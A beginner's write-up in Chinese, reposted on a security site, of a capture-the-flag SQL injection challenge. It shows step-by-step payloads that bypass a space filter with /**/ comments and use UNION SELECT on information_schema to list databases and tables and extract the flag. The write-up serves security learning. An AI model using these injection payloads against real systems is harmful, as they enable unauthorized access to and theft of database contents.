根据页面提示，到底过滤了什么东西？可以知道一定过滤了什么....
    分别输入1,2,3有对应的结果
   

    使用'会报错，于是
    构造常用的sql语句：1' and '1'='1
   

    没有反应试一试1' and '1'='2
   

    还是没反应，工具提示，应该是过滤了什么，改一下sql语句试一试
    1and1=1
   

    可以显示东西，经过判断过滤了空格，我们使用/**/来代替空格
    试一试1'/**/and/**/'1'='1
    发现有结果了：
    于是构建sql语句：
    判断有那些数据库：                  
    1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
    可以看到结果：
   

    查看有哪些数据表：
    1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
   

    发现了flag的表，我们猜测应该是在web1数据库中并且字段就是flag（其实就在本页面的数据库中）
    故：
    1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
   

本人也是初学者，参考了许多大佬的wp 自己写出来后有什么错误的地方，希望大家指出，谢谢！
 

 

【声明】:黑吧安全网()登载此文出于传递更多信息之目的，并不代表本站赞同其观点和对其真实性负责，仅适于网络安全技术爱好者学习研究使用，学习中请遵循国家相关法律法规。如有问题请联系我们，联系邮箱admin@myhack58.com，我们会在最短的时间内进行处理。